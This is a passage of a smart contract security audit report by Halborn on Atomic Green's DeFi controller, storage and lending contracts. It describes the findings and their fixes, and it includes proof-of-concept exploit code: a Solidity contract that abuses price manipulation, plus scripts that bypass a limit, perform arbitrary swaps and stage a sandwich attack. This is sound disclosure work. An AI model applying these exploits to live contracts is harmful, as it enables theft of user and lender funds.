Atomic Green

Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **July 1st, 2022 - August 1st, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	07/12/2022	Luis Arroyo
0.2	Document Update	08/01/2022	Istvan Bohm
0.3	Draft Review	08/04/2022	Gabi Urrutia
1.0	Remediation Plan	08/05/2022	Luis Arroyo
1.1	Remediation Plan Review	08/15/2022	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Luis Arroyo	Halborn	Luis.Arroyo@halborn.com
Istvan Bohm	Halborn	Istvan.Bohm@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Atomic Green engaged Halborn to conduct a security audit on their Controller, Storage and Lending Smart Contracts beginning on July 1st, 2022 and ending on August 1st, 2022. The security assessment was scoped to the smart contracts provided in the atomic-controller, atomic-storage and atomic-lending GitHub repositories.

1.2 AUDIT SUMMARY

The team at Halborn was provided four weeks for the engagement and assigned two full-time security engineers to audit the security of the smart contracts. The security engineers are blockchain and smart-contract security experts with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues within the smart contracts.

In summary, Halborn identified some security risks that were mostly addressed by Atomic Green team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions (solgraph).
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Scanning of solidity files for vulnerabilities, security hotspots or bugs. (MythX).
- Static Analysis of security for scoped contract, and imported functions. (Slither).
- Testnet deployment (Brownie, Remix IDE).

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

IN-SCOPE:
The security assessment was scoped to the following smart contracts:

Atomic Controller:
- AtomicController.sol
- AccessManager.sol
- UniManager.sol

Commit ID: a4f7e0f52b34a41c2b13b6efea2b87e72b8ca4f7

Atomic Storage:
- AtomicStorage.sol
- AccessManager.sol

Commit ID: 1a09ce1d739601ba64bbe1c6201dd6c0c3ac871d

Atomic Lending:
- AtomicLending.sol
- AccessManager.sol

Commit ID: 0fa9eeec2541a90a7ec7b391ae4f776598a14e8a

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	2	4	6	5

LIKELIHOOD

IMPACT

				(HAL-01)
		(HAL-05)	(HAL-03)	(HAL-02)
(HAL-12)		(HAL-07)	(HAL-04) (HAL-06)	
(HAL-14) (HAL-15)	(HAL-08) (HAL-10) (HAL-11)			
(HAL-16) (HAL-17) (HAL-18)		(HAL-09) (HAL-13)		

EXECUTIVE OVERVIEW

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL01 - POSSIBILITY TO ABUSE OF CONTRACT FUNCTIONALITY	Critical	SOLVED - 08/10/2022
HAL02 - USERS AND LENDERS MAY LOSE THEIR FUNDS WHEN CLOSING POSITIONS	High	SOLVED - 08/10/2022
HAL03 - USERS MAY LOSE FUNDS DURING SUDDEN PRICE CHANGES	High	SOLVED - 08/10/2022
HAL04 - PROTOCOL IS ONLY COMPATIBLE WITH POOLS WHERE THE CORE TOKEN IS ETH	Medium	SOLVED - 08/10/2022
HAL05 - ARBITRARY WETH-USDC SWAPS ALLOWED	Medium	SOLVED - 08/10/2022
HAL06 - AMOUNT LIMIT ON POSITIONS COULD BE BYPASSED	Medium	SOLVED - 08/10/2022
HAL07 - POSSIBILITY OF SANDWICH ATTACKS	Medium	SOLVED - 08/10/2022
HAL08 - TOTALREWARD INCORRECTLY CALCULATED	Low	SOLVED - 08/10/2022
HAL09 - STORAGE BALANCE IS NOT SYNCHRONIZED	Low	SOLVED - 08/10/2022
HAL10 - INTEGER OVERFLOW	Low	SOLVED - 08/10/2022
HAL11 - MISTAKENLY SENT ERC20 TOKENS CAN NOT RESCUED IN THE CONTRACTS	Low	SOLVED - 08/10/2022
HAL12 - LACK OF TEST COVERAGE	Low	PARTIALLY SOLVED - 08/10/2022
HAL13 - FLOATING PRAGMA	Low	SOLVED - 08/10/2022
HAL14 - INCOMPATIBILITY WITH TRANSFER-ON-FEE OR DEFLATIONARY TOKENS	Informational	ACKNOWLEDGED
HAL15 - FUNCTION STATE CAN BE RESTRICTED	Informational	SOLVED - 08/10/2022
HAL16 - MISSING ZERO ADDRESS CHECKS	Informational	SOLVED - 08/10/2022

HAL17 - USING != 0 CONSUMES LESS GAS THAN > 0 IN UNSIGNED INTEGER VALIDATION	Informational	SOLVED - 08/10/2022
HAL18 - USING PREFIX OPERATORS COSTS LESS GAS THAN POSTFIX OPERATORS	Informational	SOLVED - 08/10/2022

FINDINGS & TECH DETAILS

3.1 (HAL-01) POSSIBILITY TO ABUSE OF CONTRACT FUNCTIONALITY - CRITICAL

Description:

Users who create long positions raise the price of WETH and create small price differences with other exchanges, as no protections are added to avoid price manipulation. This price manipulation or difference is easily achievable on Arbitrum network with a minimal amount of tokens, as the pools have less liquidity than the Ethereum network, for example.

An attacker could monitor the mempool and check when a long position is made and calculate how much the WETH price will be increased. If the price is high enough, the attacker could use the finding HAL-05 to create a short position, send some WETH to the Controller contract and immediately close the position.

This way, the attacker could obtain profit from the pumped price on the protocol, and dump the WETH price as it was before the long position.

For exploiting this issue, a malicious contract that opens and closes the position in the same transaction has been created:

Listing 1: abusePrice.sol

```
1  // SPDX-License-Identifier: UNLICENSED
2  pragma solidity ^0.8.0;
3
4  import "./interface/IAtomicController.sol";
5  import "./interface/IERC20.sol";
6
7  contract abusePrice {
8      IAtomicController public controller;
9      IERC20 public token1;
10     IERC20 public token2;
11
12     constructor(address addr1, address addr2, address addr3) {
13         controller = IAtomicController(addr1);
14         token1 = IERC20(addr2);
```

```
15          token2 = IERC20(addr3);
16      }
17
18      function open(IAtomicController.OpenPosition memory
↳ _openPosition) public {
19          token1.approve(address(controller), _openPosition.mortgage
↳ );
20          controller.openPosition(_openPosition);
21      }
22
23      function close(uint256 positionId, uint256 amount) public {
24          token2.approve(address(controller), amount);
25          token2.transfer(address(controller), amount);
26          controller.marketClose(positionId);
27      }
28
29      function abuse(IAtomicController.OpenPosition memory
↳ _openPosition, uint256 amount) public {
30          open(_openPosition);
31          close(controller.getPositionsByAddressAndIndex(address(
↳ this), 0), amount);
32      }
33  }
```

Proof of Concept:

Steps for reproducing this issue:

- Check when a user increases the WETH price by creating a long position. In this case, 30,000 USDC are used.
- Execute the ‘abuse’ function from the malicious contract. For this example, the attacker obtains profit with just 3 WETH.

Listing 2: Abusing functionality

```
1 await atackerBalance();
2 await controller.connect(trader1).openPosition([0, tick, 30000
↳ _000000, 1]);
3
4 tick = nearestUsableTick((await pair.slot0()).tick - 600, 60);
5 await exploit.abuse([1, tick, ethers.utils.parseEther("0.1"), 1],
```

```
↳ ethers.utils.parseEther("3"));
6
7 await atackerBalance();
```

Listing 3: Console Output

```
1 [+] Attacker Contract Balance:
2       [+] USDC: 2400
3       [+] WETH: 3.0 @ 1477.3127013925869 USDC
4 [+] which is 6831.938104177761 USDC
5
6 [+] Attacker Contract balance:
7       [+] USDC: 6884.25536
8       [+] WETH: 0.0 @ 1493.8969770287522 USDC
9 [+] which is 6884.25536 USDC
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to add security controls such as artificial delays when a user tries to create and/or close different positions in a short time to avoid price manipulation.

Remediation Plan:

SOLVED: The Atomic Green team now implements a modifier that monitors the token balances of the pair and transfers them to the owner in case there is a discrepancy between those balances and 0. This fix also solves HAL-03,HAL-05 and HAL-06. This change has been successfully added on commit ee315856a575b33a7cedd30adaea1d31ed04d31b.

Listing 4: AtomicController.sol

```
57      modifier prepareForSwaps {
58          (uint256 token0Balance, uint256 token1Balance) =
59          (token0.balanceOf(address(this)), token1.balanceOf(address
↳ (this)));
60
61          if (token0Balance != 0) {
62              token0.transfer(owner(), token0Balance);
63          }
64          if (token1Balance != 0) {
65              token1.transfer(owner(), token1Balance);
66          }
67          _;
68      }
```

3.2 (HAL-02) USERS AND LENDERS MAY LOSE THEIR FUNDS WHEN CLOSING POSITIONS - HIGH

Description:

When a user closes his position, the Controller contract calls the `collectFee` function, which collects the UniswapV3 position fees.

This function calculates fees using a mathematical formula that may cause an integer overflow and revert the transaction. This transaction revert may cause permanent loss of the amounts used by both the user and the lender if a loan has been requested.

This happens because it does not contemplate the scenario in which the price of the pair is not inside the defined tick range when the user opens the position.

As long as the price of the pair is within the tick range, the values of variables `feeGrowthInside0LastX128` and `feeGrowthInside1LastX128` are greater than or equal to the values stored at the time of opening the position.

If the price of the pair is lower or higher than the limits of the established range, the value of variables `feeGrowthInside0LastX128` and `feeGrowthInsideLastX128` may be lower than the stored value, causing this overflow.

Code Location:

Listing 5: UniManager.sol (Line 209)

```
198     function collectFee(uint256 positionId) internal returns (
 ↳ uint256 amount0, uint256 amount1){
199         LiqPosition storage liqPosition = _liqPositions[positionId
 ↳ ];
200         // method that probably occurs error
201         pair.burn(liqPosition.tickLower, liqPosition.tickUpper, 0)
 ↳ ;
202 
203         bytes32 positionKey = PositionKey.compute(address(this),
 ↳ liqPosition.tickLower, liqPosition.tickUpper);
204         (, uint256 feeGrowthInside0LastX128, uint256
 ↳ feeGrowthInside1LastX128, ,) = pair.positions(positionKey);
205 
206         // FullMath is modified as original not supported by
 ↳ solidity ^0.8.0
207         uint128 tokensOwed0 = uint128(
208             FullMath.mulDiv(
209                 feeGrowthInside0LastX128 - liqPosition.
 ↳ feeGrowthInside0LastX128,
210                 liqPosition.liquidity,
211                 FixedPoint128.Q128
212             )
213         );
214 
215         uint128 tokensOwed1 = uint128(
216             FullMath.mulDiv(
217                 feeGrowthInside1LastX128 - liqPosition.
 ↳ feeGrowthInside1LastX128,
218                 liqPosition.liquidity,
219                 FixedPoint128.Q128
220             )
221         );
222 
223         (amount0, amount1) = pair.collect(address(this),
 ↳ liqPosition.tickLower, liqPosition.tickUpper, tokensOwed0,
 ↳ tokensOwed1);
224     }
```

Proof of Concept:

Steps for reproducing this issue:

- Open a position and modify the price of the coin.
- Once the price has changed enough, try to close the position previously created.
- The overflow will revert the transaction.

Listing 6: Fund Loss Tests

```
console.log('pumping price:');
await pumpPrice(9840_000000);

console.log('opening position');
await controller.connect(trader2).openPosition([1, tick, ethers.
↳ utils.parseEther("0.000001"), 1]);

console.log('droping price & escaping the tick range');
await dropPrice(9840_000000);

console.log('closing the position');
await controller.connect(trader2).marketClose(pos);
```

```
  Control Controlled Controller
pumping price:
opening position
droping price & escaping the tick range
closing the position
tick: -203341
    1) CONTROL :: bug test 1 - short after longs


  0 passing (2m)
  1 failing

  1) Control Controlled Controller
       CONTROL :: bug test 1 - short after longs:
     Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation underflowed or overflowed outs
ide of an unchecked block)
    at AtomicController.collectFee (contracts/UniManager.sol:236)
    at AtomicController.getTotalCommission (contracts/AtomicController.sol:383)
    at AtomicController.closePosition (contracts/AtomicController.sol:276)
    at AtomicController.marketClose (contracts/AtomicController.sol:152)
    at processTicksAndRejections (node:internal/process/task_queues:95:5)
    at runNextTicks (node:internal/process/task_queues:64:3)
    at listOnTimeout (node:internal/timers:533:9)
    at processTimers (node:internal/timers:507:7)
    at HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1773:23)
    at HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:466:16)
    at EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1504:18)
```

Risk Level:

Likelihood - 5
Impact - 4

Recommendation:

It is recommended to check the value of variables feeGrowthInside0LastX128 and feeGrowthInside1LastX128 before calculating tokensOwed0 or modify the formula to obtain the variable tokensOwed0 to avoid overflows.

Remediation Plan:

SOLVED: The Atomic Green team added a new function to check the value of the feeGrowthInside0LastX128 and feeGrowthInside1LastX128 variables before doing the subtraction and to prevent overflow.

Listing 7: UniMath.sol

```
 6     function minusFeeGrowth(uint256 a, uint256 b) internal pure
↳ returns(uint256 c){
 7         if(a >= b) {
 8             c = a - b;
 9         } else {
10             c = b - a;
11             c = MAX_INT - c;
12             c = c + 1;
13         }
14     }
```

3.3 (HAL-03) USERS MAY LOSE FUNDS DURING SUDDEN PRICE CHANGES - HIGH

Description:

It was identified that although users were able to close their positions manually or configure a stop loss value with the setStopLoss function, that feature also required the manager to manually monitor the prices and call the stopLoss function when the current tick reaches the threshold configured by the user.

Even medium-sized trades can cause significant price changes in pools with smaller liquidity; therefore, in these pools, before the manager can close the trade, the price may significantly deviate from the configured stop loss value. Transactions sent with more gas may also front-run the ones sent from the manager.

To demonstrate the impacts of this problem, we created a proof-of-concept on the Arbitrum network. We configured the controller to use the ETH / USDC 0.05% pool, which had 2,2k WETH and 3.14m USDC at the time of the testing. We created a LONG position with our test user and configured a stop loss:

```
position: LONG
pair: WETH/USDC
opening WETH price: 1660 USDC
stop loss WETH price: -203181 (~1500 USDC)
mortgage: 1000000000 (1000 USD)
leverage: 2
balances before opening position
user1 USDC balance: 1000.0 (1000000000)
lending USDC balance: 15000.0 (15000000000)
```

In the first scenario, we used a trader contract to swap WETH to USDC using the pool, decreasing the price of WETH in it in the process. When the price hit the configured stop loss of the user, the manager closed the position by calling the stopLoss function:

```
WETH price: 1508 USDC
current tick: -203133

a trader swaps 5 ETH to USDC
Transaction sent: 0x829125c373fd18662a42a763b848c8cc3139263052243ee89b1f61bc01bcda65
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 19
  Trader.swapOut confirmed   Block: 19122090   Gas used: 235395 (3.50%)

WETH price: 1502 USDC
current tick: -203176

a trader swaps 5 ETH to USDC
Transaction sent: 0x7838952de7101491abc20dcb51043afd87617a4e433ec42916d0710365f0c615
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 20
  Trader.swapOut confirmed   Block: 19122091   Gas used: 183194 (2.73%)

WETH price: 1495 USDC
current tick: -203223
stop loss target was hit
contract_controller.stopLoss(position_id,{'from':manager})
Transaction sent: 0x8e9818ec6ab4a4ab9aae3da396563354ed5a199b1a0ca89bd6b4ffe47418c042
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 0
  AtomicController.stopLoss confirmed   Block: 19122092   Gas used: 414607 (6.17%)

balances before opening position
user1 USDC balance: 1000.0 (1000000000)
lending USDC balance: 15000.0 (15000000000)
balances after stop loss
user1 USDC balance: 795.46 (795464636)
lending USDC balance: 15001.79 (15001797261)
```

Because the transaction was executed right after hitting the price, the user only lost 20.5% of the original mortgage.

In the second scenario, after hitting the configured stop-loss price, an additional 50 WETH was traded before the manager identified the price change and was able to close the user's position.

```
a trader swaps 5 ETH to USDC
Transaction sent: 0x62f9ec8e2aabf3e31190a0f740552548431efba22d2ef6af46f03a6b6aae641c
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 26
  Trader.swapOut confirmed   Block: 19121790   Gas used: 156070 (2.32%)

WETH price: 1442 USDC
current tick: -203585

a trader swaps 5 ETH to USDC
Transaction sent: 0x1340299fa3f008df4a8ba05ee2e37cf93a85e03e8c5153cf678eadebc5dce706
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 27
  Trader.swapOut confirmed   Block: 19121791   Gas used: 183268 (2.73%)

WETH price: 1435 USDC
current tick: -203634

a trader swaps 5 ETH to USDC
Transaction sent: 0xd84cd8e4e83ed5f1d139aecaca0516e575de1ccf2fdc0ab32dbf51f1172c0a5f
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 28
  Trader.swapOut confirmed   Block: 19121792   Gas used: 123146 (1.83%)

WETH price: 1428 USDC
current tick: -203683
stop loss target was hit
contract_controller.stopLoss(position_id,{'from':manager})
Transaction sent: 0x72a1533c5fb2dba4c7f7d86432023762ec04362b4313ee2135e0f31c9c6be0ea
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 0
  AtomicController.stopLoss confirmed   Block: 19121793   Gas used: 405972 (6.04%)

balances before opening position
user1 USDC balance: 1000.0 (1000000000)
lending USDC balance: 15000.0 (15000000000)
balances after stop loss
user1 USDC balance: 719.85 (719850642)
lending USDC balance: 15001.72 (15001721572)
```

Because the transaction was executed later, the user lost 28.1% of the original mortgage instead of 20.5%.

Risk Level:

Likelihood - 4
Impact - 4

Recommendation:

Using smaller Uniswap pools involves more risk. For example, the Uniswap USDC/ETH 0.05% pool on the Ethereum network has more than 40x liquidity than the ETH/USDC 0.05% on the Arbitrum network.
Therefore, Atomic Green should inform its customers of possible risks and the limitation of the stop loss feature before they are allowed to open a position in smaller pools, e.g., the ones in non-Ethereum networks.

Atomic Green should also publish the details of how the off-chain stop loss function works and how long it should take to close a position after hitting the configured stop-loss threshold, allowing the users to make a better decision when setting the value.

Remediation Plan:

SOLVED: The Atomic Green team added a modifier to solve limit bypass and price manipulation due to this issue. They are using oracles and different nodes to check price synchronization. In addition, using small Uniswap pools involves potential risks because even with the amount limits, there is still a high fluctuation in prices.

3.4 (HAL-04) PROTOCOL IS ONLY COMPATIBLE WITH POOLS WHERE THE CORE TOKEN IS WETH - MEDIUM

Description:

It was identified that the openPosition function in the AtomicController contract used an incorrect tick calculation method.

The contract would revert if the controller was initialized with a pool having a core token different from WETH (e.g. USDC/WETH):

```
position: LONG
pair: USDC/WETH
currentTick: 201778
takeProfitTick: 201300
tickTo: 201300
mortgage: 1000000000 (1000 USD)
leverage: 2
contract_USDC.approve(contract_controller, mortgage, {'from':user1})
Transaction sent: 0xfd9b171f932bcbe40fbf24ea6b44b5de0b0856bb7b7335f0f9a1fe67ba8bff63
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 0
  FiatTokenV2_1.approve confirmed   Block: 15239642   Gas used: 49463 (0.74%)

tx = contract_controller.openPosition(openPositionLong, {'from':user1})
Transaction sent: 0x39064094e66d4ff921cb3a2cfaa1ac1ad5c0f49773a2ffb946f67ea8ec5f59a9
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 1
  AtomicController.openPosition confirmed (reverted)   Block: 15239643   Gas used: 225858 (3.36%)
```

Code Location:

The following code was responsible for the tick calculation in the openPosition function:

Listing 8: AtomicController.sol (Lines 89,105,108)

```
89 (int24 tickLower, int24 tickUpper) =
90 _openPosition.tradePosition == TradePosition.LONG ? (int24(0),
↳ _openPosition.tickTo) : (_openPosition.tickTo, int24(0));
91
92 // If position long than borrow usdc, buy weth, put to liquidity
93 // If position shorter than borrow weth, sell weth, put to
↳ liquidity
94 if (_openPosition.tradePosition == TradePosition.LONG) {
95     // here it borrows assets from lending pool
96     IAtomicLending(addTokenPool).borrow(loanAmountIn);
97
98     // swap usdc(addToken) to weth, loanAmountOut = weth
99     loanAmountOut = swapOut(addToken, coreToken, IERC20(addToken).
↳ balanceOf(address(this)));
100
101     // swap according to token0, token1 in pool
102     (uint256 amount0Liq, uint256 amount1Liq) = swapLiqPos(IERC20(
↳ coreToken).balanceOf(address(this)), 0);
103
104     // get next tick that can be used for liquidity
105     tickLower = getNextTick();
106
107     // put to liquidity
108     (liquidity,,) = addLiquidity(tickLower, tickUpper, amount0Liq,
↳  amount1Liq, totalPositions);
```

It was identified using debug event that the addLiquidity function was called with incorrect tick values, as the lower value was bigger than the upper one:

```
— AtomicController (0x57501988ae7aa66c49c010671d07B4Ec2326E17E)
    ├— DebugaddLiquidity
    |   ├— tickLower: 201780
    |   ├— tickUpper: 201300
    |   ├— amount0Liq: 0
    |   └— amount1Liq: 1154726063854912851
```

The values resulted in an incorrect liquidity calculation in the addLiquidity function, always returning zero from the getLiquidityForAmounts call. This caused the function to revert later when it tried to mint zero tokens in the Uniswap pool.

It is noted the controller contract was incompatible with most of the Uniswap pools.

Risk Level:

Likelihood - 4
Impact - 3

Recommendation:

The openPosition function should be reviewed, and the tick calculation should be modified to work with pools where the core token is not WETH.

Remediation Plan:

SOLVED: The Atomic Green team added pairwise compatibility where the core token could be different from WETH in commit fa8df5d1cdab6d8b36d7ce028f4cafb80814c793.

3.5 (HAL-05) ARBITRARY WETH-USDC SWAPS ALLOWED - MEDIUM

Description:

This Atomic Green Controller allows users to open short and long positions on different tokens. This protocol only accepts receiving USDC when a position is opened and returning USDC (minus the fees) when it is closed too.

It is possible to abuse a functionality when closing a short position to swap WETH-USDC at the current price.

To perform this arbitrary functionality, a user can open a short position and send to the contract the WETH he wants to swap right before closing that position. Then this WETH will be converted to USDC and a percentage of the USDC used to open the position will be charged for the fee.

This way, a user can use this platform to trade between WETH and USDC.

Proof of Concept:

Steps for reproducing this issue:
- Create a short position with a small amount.
- Send WETH to the controller contract.
- Close the position.

Listing 9: swaping ETH-USDC

```
1 await controller.connect(attacker).openPosition([1, tick, ethers.
↳ utils.parseEther("0.1"), 1]);
2 await weth.connect(attacker).transfer(controller.address, ethers.
↳ utils.parseEther("2"));
3 await controller.connect(attacker).marketClose(0);
```

Listing 10: Console Output

```
1 > transfered back: 3102.356653 USDC
```

Risk Level:

Likelihood - 3
Impact - 4

Recommendation:

Restrict the use of unintended functions by the user (in this case, the swap function) and correctly calculate balances instead of using the total balance of the contract.

Remediation Plan:

SOLVED: This issue was solved by using the implemented `prepareForSwaps` switch.

3.6 (HAL-06) AMOUNT LIMIT ON POSITIONS COULD BE BYPASSED - MEDIUM

Description:

The Controller contract allows users to create long and short positions on the pair, but with a max limit of USDC that can be spent.

It is possible to bypass that limit when a user is opening a long position.

As Arbitrum network does not have huge liquidity pools, bypassing this limit and sending an uncontrolled amount of USDC to the Controller will pump the WETH price.

Code Location:

Listing 11: AtomicController.sol (Line 115)

```
114         if (_openPosition.tradePosition == TradePosition.LONG) {
115             require(limits[msg.sender] + loanAmountIn < (uint256
 ↳ (2500) * (10 ** IERC20(addToken).decimals())), "NMTHANL");
116             limits[msg.sender] = limits[msg.sender] + loanAmountIn
 ↳ ;
117         } else {
```

Proof of Concept:

Steps for reproducing this issue:

- Sent any amount of USDC to contract.
- Open a Long position with an amount smaller than the limit.
- Check obtained loanAmountOut.

Listing 12: Limit Bypass

```
await usdc.connect(trader1).transfer(controller.address, 28000
↳ _000000);
await controller.connect(trader1).openPosition([0, tick, 2000
↳ _000000, 1]);
await checkPrices();
let position = await controller.positions(0);
console.log('loanAmountIn: ' + position.loanAmountIn / 1e6);
console.log('loanAmountOut: ' + position.loanAmountOut / 1e18);
```

Listing 13: Console Output

```
>Price before pump: 1477.2420535803903
> Price after pump: 1496.8920235784908

loanAmountIn: 2000
loanAmountOut: 20.17588449554488
```

Risk Level:

Likelihood - 4
Impact - 3

Recommendation:

Avoid using the total balance of the contract to calculate the amount added by the user when opening a position.

Remediation Plan:

SOLVED: This issue was solved by using the implemented prepareForSwaps modifier.

3.7 (HAL-07) POSSIBILITY OF SANDWICH ATTACKS - MEDIUM

Description:

A sandwich attack consists of monitoring the **Mempool** and opening a position with more gas just before a valid user opens his position. This way, the price at which he will open his position will be higher; therefore, he will receive less amount of **WETH**.

Proof of Concept:

Steps for reproducing this issue:

- Create a long position with more gas than the user
- check that WETH price is higher right before user transaction is executed

Listing 14: Sandwich Attack

```
await controller.connect(attacker).openPosition([0, tick, 2000
↳ _000000, 1]);

await controller.connect(trader).openPosition([0, tick, 2000
↳ _000000, 1]);

let position1 = await controller.positions(0);
let position2 = await controller.positions(1);

console.log('loanAmountOut1: ' + position1.loanAmountOut / 1e18);
console.log('loanAmountOut2: ' + position2.loanAmountOut / 1e18);
```

Listing 15: Console Output

```
> loanAmountOut1: 1.3526950915319413
> loanAmountOut2: 1.3518207607197426
```

Risk Level:

Likelihood - 3
Impact - 3

Recommendation:

It is recommended to implement slippage when opening positions to avoid users to operate with unexpected amount of **WETH/USDC**.

Remediation Plan:

SOLVED: The Atomic Green team has added a slippage variable to control that the received amount when opening positions is at least higher than the one set in that variable. This change has been added in commit 9ecb117a0163179901706f22ea4e143a73dd8ca8.

Listing 16: AtomicController.sol

```
143       require(loanAmountOut >= _openPosition.slippage, "SINE");
```

3.8 (HAL-08) TOTALREWARD INCORRECTLY CALCULATED - LOW

Description:

When a position is closed, the protocol rewards lending users by calling the function `rewardUser`. This function checks the balance of the coin in the controller, and the amount that should be rewarded and sends the user the lower amount, then `totalReward` variable is updated. This update is not using the real value of the rewarded token, but the amount sent by the controller.

Code Location:

Listing 17: AtomicLending.sol (Line 149)

```
142     function rewardUser(uint256 amount) public override
 ↳ onlyManager {
143         require(totalSupplied != 0, "AtomicLending: TSNZ");
144         uint256 actualAmount = safeTransferFromController(amount);
145 
146         uint256 rewardInFixed = actualAmount.toFixed();
147         S = S + (rewardInFixed / totalSupplied);
148 
149         totalReward += amount;
150         emit NewUserDistribution(msg.sender, actualAmount);
151     }
```

Proof of Concept:

Steps for reproducing this issue:

- Reward loan users with an amount greater than the amount available in the contract.

Listing 18: Sandwich Attack

```
1 //controller has 50 usdc to reward
2 await callback.testRewardUser(100);
3
```

Listing 19: Console Output

```
1 > rewarded user with 50 tokens!
2 > totalReward: 100
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to update the totalReward variable with the amount that has actually been rewarded.

Remediation Plan:

SOLVED: The Atomic Green team modified the totalReward variable with the amount actually rewarded in commit 3ddd62f4082d50d37340b743da3f6dbfd8f8a2dc .

3.9 (HAL-09) STORAGE BALANCE IS NOT SYNCHRONIZED - LOW

Description:

The Storage contract allows the Controller to store the borrowed amount from users when they open a position. Once the position is closed, the amount is withdrawn and sent to the user.

This contract implements a variable containing the token balance and a function that updates this balance, which should be executed with each token deposit or withdrawal.

This variable miss might match the real balance of the contract, as the sync function is not called after withdrawing tokens.

Code Location:

Listing 20: AtomicStorage.sol (Line 16)

```
15      function sync() external override onlyManager {
16          balance = token.balanceOf(address(this));
17      }
18
19      function withdraw(uint256 amount) external override
↳ onlyManager {
20          token.transfer(msg.sender, amount);
21      }
```

Listing 21: AtomicController.sol (Line 124)

```
123         IERC20(addToken).transferFrom(msg.sender, aStorage,
↳ _openPosition.mortgage);
124         IAtomicStorage(aStorage).sync();
```

Listing 22: AtomicController.sol

```
191         IAtomicStorage(aStorage).withdraw(positionInfo.
 ↳ mortgageAmount);
```

Listing 23: AtomicController.sol

```
287         IAtomicStorage(aStorage).withdraw(positionInfo.
 ↳ mortgageAmount);
```

Risk Level:

Likelihood - 3
Impact - 1

Recommendation:

It is recommended to synchronize the balance of the Storage contract with each token deposit or withdrawal.

Remediation Plan:

SOLVED: The AtomicStorage smart contract now updates the balance correctly with any withdrawal operation.

Listing 24: AtomicStorage.sol (Line 21)

```
19     function withdraw(uint256 amount) external override
 ↳ onlyManager {
20         token.transfer(msg.sender, amount);
21         balance = token.balanceOf(address(this));
22     }
```

3.10 (HAL-10) INTEGER OVERFLOW - LOW

Description:

In computer programming, an integer overflow occurs when an arithmetic operation attempts to create a numeric value that is outside the range that can be represented with a given number of bits -- either larger than the maximum or lower than the minimum displayable value. In this case, an integer overflow could happen if the manager of the lending pool repays any amount before borrowing.

Code Location:

Listing 25: AtomicLending.sol (Line 136)

```
121     function repay(uint256 amount) public override onlyManager {
122         uint256 actualAmount = safeTransferFromController(amount);
123         uint256 insurance;
124         if (amount > actualAmount) {
125             uint256 diff = amount - actualAmount;
126             if (totalProtocolFee >= diff) {
127                 totalProtocolFee = totalProtocolFee - (amount -
 ↳ actualAmount);
128             } else {
129                 totalProtocolDebt = diff - totalProtocolFee;
130                 totalProtocolFee = 0;
131             }
132
133             insurance = diff;
134         }
135
136         totalBorrowed = totalBorrowed - amount;
137
138         emit Repay(msg.sender, amount, insurance);
139     }
```

Proof of Concept:

Steps for reproducing this issue:

- Fill a controller with some tokens.
- Call repay function.

Listing 26: Repay tests

```
1 await callback.testRepay(100);
```

Listing 27: Console Output

```
1 Error: VM Exception while processing transaction: reverted with
↳ panic code 0x11 (Arithmetic operation underflowed or overflowed
↳ outside of an unchecked block)
2     at AtomicLending.repay (contracts/AtomicLending.sol:136)
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to use safe math libraries for arithmetic operations consistently throughout the smart contract system.

Remediation Plan:

